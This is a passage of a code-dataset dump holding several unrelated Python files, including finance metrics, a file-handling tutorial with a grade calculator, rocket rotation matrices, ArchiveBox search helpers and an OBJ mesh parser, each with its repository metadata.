self.env.step(action)\n self.total_reward += reward\n\n exp = AppConfig.Experience(self.state, action, reward,\n is_done, new_state)\n self.exp_buffer.append(exp)\n self.state = new_state\n if is_done:\n done_reward = self.total_reward\n self._reset()\n return done_reward","repo_name":"yt7589/iching","sub_path":"apps/drl/c06/pong_agent.py","file_name":"pong_agent.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"60"} +{"seq_id":"6766502794","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom std_msgs.msg import String\n\ndef cb(message):\n rospy.loginfo(rospy.get_caller_id())\n rospy.loginfo(\"データ： %s\",message.data)\n rospy.loginfo(\"えんちゃん %s 匹\",rospy.get_caller_id())\n\nif __name__ == '__main__':\n rospy.init_node('100')\n sub = rospy.Subscriber('count_up', String, cb)\n rospy.spin()\n","repo_name":"KatoMaiko/robosys__kadai2","sub_path":"scripts/twice.py","file_name":"twice.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31462101759","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUtilities in finance calculation\n\n:author: Beichen Chen\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport math\nfrom quant import bc_util as util\nfrom quant import bc_technical_analysis as ta_util\n\n\n#----------------------------- Rate and Risk -----------------------------------#\n# risk_premium = mean(excess_return)\n# risk = std(excess_return)\ndef cal_HPR(data, start, end, dim='value', dividends=0):\n \"\"\"\n Calculate Holding-Period-Rate\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: price dim to calculate\n :param dividends: divndends to add\n :returns: HPR\n :raises: none\n \"\"\"\n data = data[start:end][dim].tolist()\n HPR = (data[-1] - data[0]) / data[0]\n \n return HPR\n\n\ndef cal_EAR(data, start, end, dim='value', dividends=0):\n \"\"\"\n Calculate Effective-Annual-Rate\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: price dim to calculate\n :param dividends: divndends to add\n :returns: EAR\n :raises: none\n \"\"\"\n # calculate HPR in specific period\n HPR = cal_HPR(data, start, end, dim, dividends) + 1\n \n # convert the period to year\n start_date = util.time_2_string(data[start:end].index.min())\n end_date = util.time_2_string(data[start:end].index.max())\n period_in_year = util.num_days_between(start_date, end_date) / 365.0\n \n # calculate EAR\n EAR = pow(HPR, 1/period_in_year) - 1\n \n return EAR\n\n\ndef cal_AV(data, start, end, dim='rate'):\n \"\"\"\n Calculate Annual-volatility\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: daily return dim \n :returns: AV\n :raises: none\n \"\"\"\n # calculate the period \n start_date = util.time_2_string(data[start:end].index.min())\n end_date = util.time_2_string(data[start:end].index.max())\n num_days = util.num_days_between(start_date, end_date) - 1\n\n AV = (data[dim].var() * (365 / num_days)) ** 0.5\n return AV\n\n\ndef cal_APR(data, start, end, dim='value', dividends=0):\n \"\"\"\n Calculate Annual-Percentile-Rate\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: price dim to calculate\n :param dividends: divndends to add\n :returns: APR\n :raises: none\n \"\"\"\n # calculate the HPR in specific period\n HPR = cal_HPR(data, start, end, dim, dividends)\n \n # convert the period to year\n start_date = util.time_2_string(data[start:end].index.min())\n end_date = util.time_2_string(data[start:end].index.max())\n period_in_year = util.num_days_between(start_date, end_date) / 365.0\n \n # calculate APR\n APR = HPR / period_in_year\n \n return APR\n\n\ndef cal_CCR(data, start, end, dim='value', dividends=0):\n \"\"\"\n Calculate Continuous-Compouding-Rate\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: price dim to calculate\n :param dividends: divndends to add\n :returns: CCR\n :raises: none\n \"\"\"\n EAR = cal_EAR(data, start, end, dim, dividends)\n CCR = math.log((1+EAR), math.e)\n \n return CCR\n\n\ndef cal_risk_premium(expected_rate, risk_free_rate):\n \"\"\"\n Calculate Risk-Premium\n\n :param expected_rate: expected rate\n :param risk_free_rate: the pre-defined risk-free-rate\n :returns: risk premium\n :raises: none\n \"\"\"\n RP = expected_rate - risk_free_rate\n \n return RP\n\n\ndef cal_excess_raturn(expected_rate, real_rate):\n \"\"\"\n Calculate Excess-Return\n\n :param expected_rate: expected rate\n :param real_rate: real rate\n :returns: ER\n :raises: none\n \"\"\"\n ER = real_rate - expected_rate\n \n return ER\n\n\ndef cal_period_rate_risk(data, dim='value', by='month'):\n \"\"\"\n Calculate rate and risk in a specfic period\n\n :param data: original OHLCV data\n :param dim: price dim to calculate\n :param by: by which period: year/month/week\n :returns: periodical return and risk\n :raises: none\n \"\"\"\n # calculate the change rate by day\n data = ta_util.cal_change_rate(df=data, target_col=dim, periods=1)\n\n # get start/end date, construct period list\n start_date = data.index.min().date()\n end_date = data.index.max().date()\n periods = []\n\n # by year\n if by == 'year':\n for year in range(start_date.year, end_date.year+1):\n p = '%(year)s' % dict(year=year)\n periods.append((p, p))\n \n # by month \n elif by == 'month':\n for year in range(start_date.year, end_date.year+1):\n for month in range(1, 13):\n if year >= end_date.year and month > end_date.month:\n break\n p = '%(year)s-%(month)02d' % dict(year=year, month=month)\n periods.append((p, p))\n\n # by week\n elif by == 'week':\n week_start = start_date\n while week_start < end_date:\n week_end = week_start + datetime.timedelta(days=(6 - week_start.weekday()))\n periods.append((week_start, week_end))\n week_start = week_end + datetime.timedelta(days=1)\n else:\n print('Invalid period')\n \n # calculate the risk/return for the period\n period_rate = {\n 'period': [],\n 'start': [],\n 'end': [],\n 'HPR': [],\n 'EAR': [],\n 'APR': [],\n 'CCR': [],\n 'daily_rate_mean': [],\n 'daily_rate_std': []\n } \n for p_pair in periods:\n tmp_data = data[p_pair[0]:p_pair[1]]\n if len(tmp_data) <= 1:\n continue\n else:\n period_rate['period'].append(p_pair[0])\n period_rate['start'].append(p_pair[0])\n period_rate['end'].append(p_pair[1])\n period_rate['HPR'].append(cal_HPR(data=tmp_data, start=None, end=None, dim='Close'))\n period_rate['EAR'].append(cal_EAR(data=tmp_data, start=None, end=None, dim='Close'))\n period_rate['APR'].append(cal_APR(data=tmp_data, start=None, end=None, dim='Close'))\n period_rate['CCR'].append(cal_CCR(data=tmp_data, start=None, end=None, dim='Close'))\n period_rate['daily_rate_mean'].append(tmp_data.rate.mean())\n period_rate['daily_rate_std'].append(tmp_data.rate.std())\n \n period_rate = pd.DataFrame(period_rate)\n period_rate = util.df_2_timeseries(df=period_rate, time_col='period')\n \n return period_rate\n\n\ndef cal_sharp_ratio(data, start, end, rfr=0.04, price_dim='value', rate_dim='rate'):\n EAR = cal_EAR(data=data, start=start, end=end, dim=price_dim)\n AV = cal_AV(data=data, start=start, end=end, dim=rate_dim)\n\n sharp_ratio = (EAR - rfr) / AV\n return sharp_ratio\n\n\ndef cal_max_drawndown(data, dim='value'):\n \"\"\"\n Calculate max drawn down in the specified period\n\n :param data: original OHLCV data\n :param start: start date\n :param end: end date\n :param dim: price dim to calculate\n :param dividends: divndends to add\n :returns: APR\n :raises: none\n \"\"\"\n data = data.copy()\n data['drawndown'] = 0\n\n for index, row in data.iterrows():\n current_max = data[:index][dim].max()\n future_min = data[index:][dim].min()\n data.loc[index, 'drawndown'] = (future_min / current_max) - 1\n\n max_drawndown = data['drawndown'].min() \n\n return max_drawndown\n\n","repo_name":"northcheng/quant","sub_path":"bc_finance.py","file_name":"bc_finance.py","file_ext":"py","file_size_in_byte":6909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"36281699435","text":"# file = open(\"Newfile.txt\", \"r\")\r\n# file.close()\r\n\r\n# file = open(\"C:/users/edaatak/desktop/newfile.txt\", \"w\")\r\n# print(file)\r\n\r\n# encoding = \"utf-8\" türkçe karakterleri de yazması için ekledik.\r\n\r\n# file = open(\"Newfile.txt\", \"w\", encoding=\"utf-8\")\r\n# file.write(\"Eda Atak\")\r\n# file.close()\r\n\r\n\r\n# a ile dosyaya bilgi ekleme işlemi.\r\n# file = open(\"Newfile.txt\", \"a\", encoding=\"utf-8\")\r\n# file.write(\"\\nSinan Atak\")\r\n# file.close()\r\n\r\n# x oluşturma. Dosya varsa hata oluşur.\r\n#file = open(\"Newfile.txt\", \"x\", encoding=\"utf-8\")\r\n\r\n# r dosya okuma\r\n# try:\r\n# file = open(\"newfile2.txt\", \"r\")\r\n# print(file)\r\n# except FileNotFoundError:\r\n# print(\"Dosya okuma hatası\")\r\n# finally:\r\n# print(\"Dosya kapandı\")\r\n# file.close()\r\n\r\n\r\n# file = open(\"Newfile.txt\", \"r\", encoding=\"utf-8\")\r\n# for i in file:\r\n# print(i, end= \"\")\r\n# file.close()\r\n\r\n# content1 =file.read()\r\n# print(\"İçerik 1\")\r\n# print(content1)\r\n# content2 =file.read()\r\n# print(\"İçerik 2\")\r\n# print(content2)\r\n# file.close()\r\n\r\n# content = file.read(5)\r\n# content = file.read(3)\r\n# print(content)\r\n# file.close()\r\n\r\n\r\n\r\n################readline() fonksiyonu #################\r\n# print(file.readline(), end = \"\")\r\n# print(file.readline(), end = \"\")\r\n# print(file.readline(), end = \"\")\r\n# file.close()\r\n\r\n\r\n################readlines() fonksiyonu #################\r\n\r\n# liste = file.readlines()\r\n# print(liste[1])\r\n\r\n# file.close()\r\n\r\n\r\n# with open(\"newfile.txt\" , \"r+\", encoding = \"utf-8\") as file:\r\n# list=file.readlines()\r\n# list.insert(3, \"Begüm Atak\\n\")\r\n# file.seek(0)\r\n# file.writelines(list)\r\n\r\n# with open(\"newfile.txt\" , \"r\" , encoding= \"utf-8\") as file:\r\n# print(file.read())\r\n\r\n\r\n\r\n\r\n##################### UYGULAMA ##############\r\ndef not_hesapla(satir):\r\n satir = satir[:-1]\r\n liste = satir.split(\":\")\r\n ogrenciAdi = (liste[0])\r\n notlar = (liste[1]).split(\",\")\r\n\r\n not1 = int(notlar[0])\r\n not2 = int(notlar[1])\r\n not3 = int(notlar[2])\r\n\r\n ortalama = (not1+not2+not3) / 3\r\n\r\n if ortalama >= 90 and ortalama<=100:\r\n harf =\"AA\"\r\n elif ortalama >=85 and ortalama <=89:\r\n harf = \"BA\"\r\n elif ortalama >=80 and ortalama <=84:\r\n harf= \"BB\"\r\n elif ortalama >=75 and ortalama <=79:\r\n harf= \"CB\"\r\n elif ortalama >=70 and ortalama <=74:\r\n harf = \"CC\"\r\n elif ortalama >= 65 and ortalama <=64:\r\n harf = \"DD\"\r\n elif ortalama >=50 and ortalama <=59:\r\n harf= \"FD\"\r\n else:\r\n harf = \"FF\"\r\n \r\n return ogrenciAdi + \": \" + harf + \"\\n\"\r\n\r\ndef ortalamalari_oku():\r\n with open(\"sinav_notlari.txt\", \"r\", encoding= \"utf-8\") as file:\r\n for satir in file:\r\n print(not_hesapla(satir))\r\ndef not_gir():\r\n ad = input(\"Öğrenci adı: \")\r\n soyad = input(\"Öğrenci soyad: \")\r\n not1 = input(\"not 1: \")\r\n not2 = input(\"not 2: \")\r\n not3 = input(\"not 3: \")\r\n\r\n with open(\"sinav_notlari.txt\" , \"a\" , encoding = \"utf-8\") as file:\r\n file.write(ad + \" \" + soyad+ \":\" +not1+\",\" +not2+\",\"+not3+\"\\n\")\r\ndef notlari_kayitet():\r\n with open(\"sinav_notlari.txt\", \"r\", encoding= \"utf-8\") as file:\r\n liste=[]\r\n\r\n for i in file:\r\n liste.append(not_hesapla(i))\r\n\r\n with open(\"sonuclar.txt\", \"w\", encoding=\"utf-8\") as file2:\r\n for i in liste:\r\n file2.write(i)\r\n\r\nwhile True:\r\n islem = input(\"1- Notları Oku\\n2- Not Gir\\n3- Notları Kayıt Et\\n4- Çıkış\")\r\n\r\n if islem == \"1\":\r\n ortalamalari_oku()\r\n elif islem == \"2\":\r\n not_gir()\r\n elif islem == \"3\":\r\n notlari_kayitet()\r\n else:\r\n break","repo_name":"edatak/calismalar","sub_path":"files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2939985935","text":"# coding:utf-8\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ntxt_dir = 'zhanbi.txt' #txt文件夹目录\r\nlist = pd.read_csv(txt_dir, sep='\\s+',\r\n header=None,\r\n names=['image','zhanbi'])\r\nlist.index +=1\r\n\r\n# print(list.iloc[:,0]) #第0列 image\r\n# print(list.iloc[:,1]) #第1列 zhanbi\r\n\r\nplt.figure(figsize=(10,10), dpi=50)\r\nplt.scatter(list.iloc[:,0], list.iloc[:,1])\r\nplt.show()","repo_name":"testwyh/useful-py","sub_path":"二值化并筛选/占比分布可视化.py","file_name":"占比分布可视化.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"19535580476","text":"import numpy as np\nfrom math import cos\nfrom math import sin\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nX = 0\nY = 1\nZ = 2\nPI = 3.1415926535\n\ndef roll(angle):\n\tprint(\"ROLL %.2f degrees\"%(angle*180/PI))\n\ttrans = np.array([[1, 0, 0],[0,cos(angle),-sin(angle)],[0,sin(angle),cos(angle)]])\n\tprint(trans)\n\treturn trans\n\ndef pitch(angle):\n\tprint(\"PITCH %.2f degrees\"%(angle*180/PI))\t\n\ttrans = np.array([[cos(angle), 0, sin(angle)],[0,1,0],[-sin(angle),0,cos(angle)]])\n\tprint(trans)\n\treturn trans\n\ndef yaw(angle):\n\tprint(\"YAW %.2f degrees\"%(angle*180/PI))\t\n\ttrans = np.array([[cos(angle),-sin(angle), 0],[sin(angle),cos(angle),0],[0,0,1]])\n\tprint(trans)\n\treturn trans\n\ndef clean_matrix(matrix_in):\n\tmat_out = matrix_in\n\trows = np.size(matrix_in, 0)\n\tcols = np.size(matrix_in, 1)\n\n\tfor r in range(0,rows):\n\t\tfor c in range(0,cols):\n\t\t\tmat_out[r,c] = round(matrix_in[r,c], 3)\n\treturn mat_out \n\ndef rotate_around_normal(angle, normal_vec):\n\tc = cos(angle)\n\ts = sin(angle)\n\tC = 1-c\n\t\n\tx = normal_vec[0]\n\ty = normal_vec[1]\n\tz = normal_vec[2]\n\n\trow1 = [x*x*C+c, x*y*C-z*s, x*z*C+y*s]\n\trow2 = [y*x*C+z*s, y*y*C+c, y*z*C-x*s]\n\trow3 = [z*x*C-y*s, z*y*C+x*s, z*z*C+c]\n\t\n\ttrans = np.array([row1, row2, row3])\n\tprint (clean_matrix(trans))\n\treturn trans\ndef rotate(angle, ground_to_rocket):\n\ttrans = rotate_around_normal(angle, ground_to_rocket[:,Z])\n\treturn trans\n\ndef theta(angle, ground_to_rocket):\n\ttrans = yaw(angle)\n\treturn trans\n\ndef phi(angle, ground_to_rocket):\n\ta = ground_to_rocket[0,Y]\n\tb = ground_to_rocket[1,Y]\n\tif (abs(a) < 0.0000001 and abs(b) < 0.0000001):\n\t\tnorm = np.array([0,1,0])\n\telse:\n\t\tnorm = np.array([a, b, 0]) #Rocket Z vector crossed with ground Z vector\n\tnorm = norm/np.linalg.norm(norm)\n\ttrans = rotate_around_normal(angle, norm)\n\treturn trans\n\n#def calculate_rocket_angles(r_to_g_trans):\n\n\ngravity = np.array([0,0,-1])\ngravity = gravity.T\nthrust = np.array([0,0,1])\nthrust = thrust.T\ndrag = np.array([0,0,-1])\ndrag = drag.T\n\nstatic_forces = [gravity]\ndynamic_forces = [thrust, drag]\n\nground_to_rocket = np.eye(3)\nrocket_to_ground = np.eye(3)\n\nrocket_angle_rate = np.array([0, -1, 1])\nwhile True:\n\tprint \n\tcmd = input(\"Enter the angle manipulation: \")\n\telements = cmd.split(\" \")\n\taction = elements[0]\n\tangle = float(elements[1])\n\tangle = angle*PI/180\n\ttransformation = np.eye(3)\n\tgood_cmd = True\n\tif action == 'r':\n\t\ttransformation = rotate(angle, ground_to_rocket)\n\telif action == 't':\n\t\ttransformation = theta(angle, ground_to_rocket)\n\telif action == 'p':\n\t\ttransformation = phi(angle, ground_to_rocket)\n\telse:\n\t\tprint(\"Bad command; Interpreted as:\\n\\tAction: %s\\n\\tAngle: %f\"%(action, angle))\n\t\tgood_cmd = False\n\tif (good_cmd):\n\t\tground_to_rocket = np.dot(transformation, ground_to_rocket)\n\t\trocket_to_ground = np.dot(rocket_to_ground, transformation.T)\n\t\t\n\t\tprint(\"Ground-to-Rocket Matrix (Z is direction of Rocket)\")\n\t\tprint(clean_matrix(ground_to_rocket))\n\t\tprint(\"Rocket-to-Ground Matrix (Inverse to Rocket)\")\n\t\tprint(clean_matrix(rocket_to_ground))\n\t\t\n\t\tprint(\"G-R and R-G multiplied\")\n\t\tprint(clean_matrix(np.dot(ground_to_rocket, rocket_to_ground)))\n\n\t\tforces = np.array([0,0,0])\n\t\tforces = forces.T\n\t\tthrust = ground_to_rocket[:,2]\n\t\tprint(thrust)\n\t\tdrag = -ground_to_rocket[:,2]\n\t\tprint(drag)\n\t\tprint(gravity)\n\t\tforces = np.add(thrust, drag)\n\t\tforces = np.add(forces, gravity)\n\t\tprint(forces)\n\n\t\tIMU_reading = np.dot(ground_to_rocket, forces)\n\t\tprint(\"IMU reading with static and dynamic forces\")\n\t\tprint(IMU_reading)\n\n\t\t\n\t\tx_list = []\n\t\ty_list = []\n\t\tz_list = []\n\t\tx_test = []\n\t\ty_test = []\n\t\tz_test = []\n\t\tforces_x_list = []\n\t\tforces_y_list = []\n\t\tforces_z_list = []\n\t\t\n\t\tres = 10\n\t\tfor i in range(1,res+1):\n\t\t\tforces_x_list.append(i*thrust[0]*0.9/res)\n\t\t\tforces_y_list.append(i*thrust[1]*0.9/res)\n\t\t\tforces_z_list.append(i*thrust[2]*0.9/res)\n\t\t\t\n\t\t\tforces_x_list.append(i*drag[0]*0.9/res)\n\t\t\tforces_y_list.append(i*drag[1]*0.9/res)\n\t\t\tforces_z_list.append(i*drag[2]*0.9/res)\n\t\t\t\n\t\t\tforces_x_list.append(i*gravity[0]*0.9/res)\n\t\t\tforces_y_list.append(i*gravity[1]*0.9/res)\n\t\t\tforces_z_list.append(i*gravity[2]*0.9/res)\n\t\t\t\n\t\t\tfor axe in range(0,3):\n\t\t\t\tx_list.append(i*ground_to_rocket[0,axe]/res)\n\t\t\t\ty_list.append(i*ground_to_rocket[1,axe]/res)\n\t\t\t\tz_list.append(i*ground_to_rocket[2,axe]/res)\n\t\t\t\t\n\t\t\t\tif axe == 0:\n\t\t\t\t\tx_test.append(i*0.95/res)\n\t\t\t\t\ty_test.append(0)\n\t\t\t\t\tz_test.append(0)\n\t\t\t\tif axe == 1:\n\t\t\t\t\tx_test.append(0)\n\t\t\t\t\ty_test.append(i*0.95/res)\n\t\t\t\t\tz_test.append(0)\n\t\t\t\tif axe == 2:\n\t\t\t\t\tx_test.append(0)\n\t\t\t\t\ty_test.append(0)\n\t\t\t\t\tz_test.append(i*0.95/res)\n\n\t\tfig = plt.figure()\n\t\tax = fig.add_subplot(111, projection='3d')\n\t\tax.scatter(x_list, y_list, z_list, c='r', marker='o')\n\t\tax.scatter(x_test, y_test, z_test, c='b', marker='o')\n\t\tax.scatter(forces_x_list, forces_y_list, forces_z_list, c='g', marker='o')\n\t\tax.set_xlabel('X (m)')\n\t\tax.set_ylabel('Y (m)')\n\t\tax.set_zlabel('Z (m)')\n\t\tax.set_xlim3d(-1.0, 1.0)\n\t\tax.set_ylim3d(-1.0, 1.0)\n\t\tax.set_zlim3d(-1.0, 1.0)\n\t\tplt.show()","repo_name":"intern-space-program/avionics","sub_path":"archive/simulation/transformation_matrices.py","file_name":"transformation_matrices.py","file_ext":"py","file_size_in_byte":4954,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"20149250105","text":"from typing import List, Union\nfrom pathlib import Path\nfrom importlib import import_module\n\nfrom django.db.models import QuerySet\n\nfrom archivebox.index.schema import Link\nfrom archivebox.util import enforce_types\nfrom archivebox.config import stderr, OUTPUT_DIR, USE_INDEXING_BACKEND, USE_SEARCHING_BACKEND, SEARCH_BACKEND_ENGINE\n\nfrom .utils import get_indexable_content, log_index_started\n\ndef indexing_enabled():\n return USE_INDEXING_BACKEND\n\ndef search_backend_enabled():\n return USE_SEARCHING_BACKEND\n\ndef get_backend():\n return f'search.backends.{SEARCH_BACKEND_ENGINE}'\n\ndef import_backend():\n backend_string = get_backend()\n try:\n backend = import_module(backend_string)\n except Exception as err:\n raise Exception(\"Could not load '%s' as a backend: %s\" % (backend_string, err))\n return backend\n\n@enforce_types\ndef write_search_index(link: Link, texts: Union[List[str], None]=None, out_dir: Path=OUTPUT_DIR, skip_text_index: bool=False) -> None:\n if not indexing_enabled():\n return\n\n if not skip_text_index and texts:\n from core.models import Snapshot\n\n snap = Snapshot.objects.filter(url=link.url).first()\n backend = import_backend()\n if snap:\n try:\n backend.index(snapshot_id=str(snap.id), texts=texts)\n except Exception as err:\n stderr()\n stderr(\n f'[X] The search backend threw an exception={err}:',\n color='red',\n )\n\n@enforce_types\ndef query_search_index(query: str, out_dir: Path=OUTPUT_DIR) -> QuerySet:\n from core.models import Snapshot\n\n if search_backend_enabled():\n backend = import_backend()\n try:\n snapshot_ids = backend.search(query)\n except Exception as err:\n stderr()\n stderr(\n f'[X] The search backend threw an exception={err}:',\n color='red',\n )\n raise\n else:\n # TODO preserve ordering from backend\n qsearch = Snapshot.objects.filter(pk__in=snapshot_ids)\n return qsearch\n \n return Snapshot.objects.none()\n\n@enforce_types\ndef flush_search_index(snapshots: QuerySet):\n if not indexing_enabled() or not snapshots:\n return\n backend = import_backend()\n snapshot_ids=(str(pk) for pk in snapshots.values_list('pk',flat=True))\n try:\n backend.flush(snapshot_ids)\n except Exception as err:\n stderr()\n stderr(\n f'[X] The search backend threw an exception={err}:',\n color='red',\n )\n\n@enforce_types\ndef index_links(links: Union[List[Link],None], out_dir: Path=OUTPUT_DIR):\n if not links:\n return\n\n from core.models import Snapshot, ArchiveResult\n\n for link in links:\n snap = Snapshot.objects.filter(url=link.url).first()\n if snap: \n results = ArchiveResult.objects.indexable().filter(snapshot=snap)\n log_index_started(link.url)\n try:\n texts = get_indexable_content(results)\n except Exception as err:\n stderr()\n stderr(\n f'[X] An Exception ocurred reading the indexable content={err}:',\n color='red',\n ) \n else:\n write_search_index(link, texts, out_dir=out_dir)\n","repo_name":"ArchiveBox/ArchiveBox","sub_path":"archivebox/search/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","stars":17262,"dataset":"github-code","pt":"60"} +{"seq_id":"12088339776","text":"import requests\n\n# 가져온 데이터를 HTML로 해석한다.\nfrom bs4 import BeautifulSoup\n\n# URL Encoding\n# URL Decoding\nurl = \"https://search.naver.com/search.naver?sm=top_hty&fbm=1&ie=utf8&query=%EB%A1%9C%EB%98%90+%EB%8B%B9%EC%B2%A8%EB%B2%88%ED%98%B8\"\n\ncustom_headers = {'referer':'https://www.naver.com/', 'user-agent':\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36\"}\n\nreq = requests.get(url, headers=custom_headers)\n\nif req.status_code == requests.codes.ok:\n print('접속 성공')\n # 데이터 해석\n html = BeautifulSoup(req.text, \"html.parser\")\n numbers = html.select('.num_box .num')\n\n # 로또 당첨번호 출력하기\n for number in numbers[:6]:\n print(number.text, end=\", \")\n print(\"보너스 번호 : \", numbers[-1].text)\nelse:\n print('접속 실패')","repo_name":"HeeeeeJinJeong/wps_crawler_example","sub_path":"example02_naver_lotto.py","file_name":"example02_naver_lotto.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18055475226","text":"def add_order():\n # Function to handle add order window submit button click\n def add_order_submit():\n order_date = orderDateEntry.get()\n total_amount = orderTotalAmountEntry.get()\n payment_method = orderPaymentMethodEntry.get()\n payment_date = orderPaymentDateEntry.get()\n customer_id = orderCustomerIdEntry.get()\n\n # Add order details to the database\n try:\n query = 'INSERT INTO orders (order_date, total_amount, payment_method, payment_date, customer_id) ' \\\n 'VALUES (%s, %s, %s, %s, %s)'\n values = (order_date, total_amount, payment_method, payment_date, customer_id)\n mycursor.execute(query, values)\n con.commit()\n messagebox.showinfo('Success', 'Order added successfully')\n add_order_window.destroy()\n except Exception as e:\n messagebox.showerror('Error', str(e))\n\n add_order_window = Toplevel(root)\n add_order_window.grab_set()\n add_order_window.title('Add Order')\n add_order_window.geometry('500x400+500+200')\n add_order_window.resizable(False, False)\n\n orderDateLabel = Label(add_order_window, text='Order Date', font=('Helvetica', 15, 'bold'))\n orderDateLabel.grid(row=0, column=0, padx=10, pady=10)\n\n orderDateEntry = Entry(add_order_window, font=('Helvetica', 15, 'bold'))\n orderDateEntry.grid(row=0, column=1, padx=10, pady=10)\n\n orderTotalAmountLabel = Label(add_order_window, text='Total Amount', font=('Helvetica', 15, 'bold'))\n orderTotalAmountLabel.grid(row=1, column=0, padx=10, pady=10)\n\n orderTotalAmountEntry = Entry(add_order_window, font=('Helvetica', 15, 'bold'))\n orderTotalAmountEntry.grid(row=1, column=1, padx=10, pady=10)\n\n orderPaymentMethodLabel = Label(add_order_window, text='Payment Method', font=('Helvetica', 15, 'bold'))\n orderPaymentMethodLabel.grid(row=2, column=0, padx=10, pady=10)\n\n orderPaymentMethodEntry = Entry(add_order_window, font=('Helvetica', 15, 'bold'))\n orderPaymentMethodEntry.grid(row=2, column=1, padx=10, pady=10)\n\n orderPaymentDateLabel = Label(add_order_window, text='Payment Date', font=('Helvetica', 15, 'bold'))\n orderPaymentDateLabel.grid(row=3, column=0, padx=10, pady=10)\n\n orderPaymentDateEntry = Entry(add_order_window, font=('Helvetica', 15, 'bold'))\n orderPaymentDateEntry.grid(row=3, column=1, padx=10, pady=10)\n\n orderCustomerIdLabel = Label(add_order_window, text='Customer ID', font=('Helvetica', 15, 'bold'))\n orderCustomerIdLabel.grid(row=4, column=0, padx=10, pady=10)\n\n orderCustomerIdEntry = Entry(add_order_window, font=('Helvetica', 15, 'bold'))\n orderCustomerIdEntry.grid(row=4, column=1, padx=10, pady=10)\n\n submitButton = ttk.Button(add_order_window, text='Submit', command=add_order_submit)\n submitButton.grid(row=5, column=0, columnspan=2, pady=10)\n","repo_name":"rasikasrimal/ADBMS-CW","sub_path":"supermarket management system/add_order.py","file_name":"add_order.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38591134288","text":"from typing import Any as TAny, Dict\n\n# Import to register all mconfig protobufs in symbol database\nfrom google.protobuf import symbol_database\nfrom google.protobuf.internal.well_known_types import Any\n\nfrom magma.configuration import service_configs\nfrom magma.configuration.exceptions import LoadConfigError\n\n\ndef filter_configs_by_key(configs_by_key: Dict[str, TAny]) -> Dict[str, TAny]:\n \"\"\"\n Given a JSON-deserialized map of mconfig protobuf Any's keyed by service\n name, filter out any entires without a corresponding service or which have\n values that aren't registered in the protobuf symbol database yet.\n\n Args:\n configs_by_key:\n JSON-deserialized service mconfigs keyed by service name\n\n Returns:\n The input map without any services which currently don't exist or have\n types which are not in the protobuf type registry.\n \"\"\"\n services = service_configs.get_service_config_value(\n 'magmad',\n 'magma_services', [],\n )\n services.append('magmad')\n services = set(services)\n\n filtered_configs_by_key = {}\n for srv, cfg in configs_by_key.items():\n if srv not in services:\n continue\n\n try:\n type_name = cfg['@type'].split('/')[-1]\n symbol_database.Default().GetSymbol(type_name)\n except KeyError:\n continue\n filtered_configs_by_key[srv] = cfg\n return filtered_configs_by_key\n\n\ndef unpack_mconfig_any(mconfig_any: Any) -> TAny:\n \"\"\"\n Unpack a protobuf Any type into its concrete protobuf type.\n\n Args:\n mconfig_any: protobuf Any type to unpack\n\n Returns: Concrete protobuf object that the provided Any wraps\n \"\"\"\n type_name = mconfig_any.TypeName()\n try:\n msg = symbol_database.Default().GetSymbol(type_name)()\n except KeyError as e:\n raise LoadConfigError(\n 'Mconfig proto type %s not found' % type_name,\n ) from e\n mconfig_any.Unpack(msg)\n return msg\n","repo_name":"rpraveen/magma","sub_path":"orc8r/gateway/python/magma/configuration/mconfigs.py","file_name":"mconfigs.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"33675105411","text":"# pure obj parser\n\nfrom lmath import box_create, box_expand_point\n\n\ndef parse_obj(filename, swapyz=False):\n print(\"parsing \" + filename)\n\n vertices = []\n faces = []\n\n box = box_create()\n\n for line in open(filename, \"r\"):\n if line.startswith('#'): continue\n\n values = line.split()\n if not values: continue\n if values[0] == 'v':\n v = list(map(float, values[1:4]))\n if swapyz:\n v = v[0], v[2], v[1]\n box_expand_point(box, v)\n vertices.append(v)\n elif values[0] == 'f':\n v0 = int(values[1].split('/')[0]) - 1\n v1 = int(values[2].split('/')[0]) - 1\n v2 = int(values[3].split('/')[0]) - 1\n faces.append((v0, v1, v2))\n\n model = {\n 'vertices': vertices,\n 'vertex_count': len(vertices),\n 'faces': faces,\n 'face_count': len(faces),\n 'box': box\n }\n\n return model","repo_name":"liamlangli/vat","sub_path":"parse_vdb_mesh_obj.py","file_name":"parse_vdb_mesh_obj.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"} +{"seq_id":"41594215317","text":"\"\"\"\r\npredict_LSTM.py\r\n---------------------\r\nThis code uses 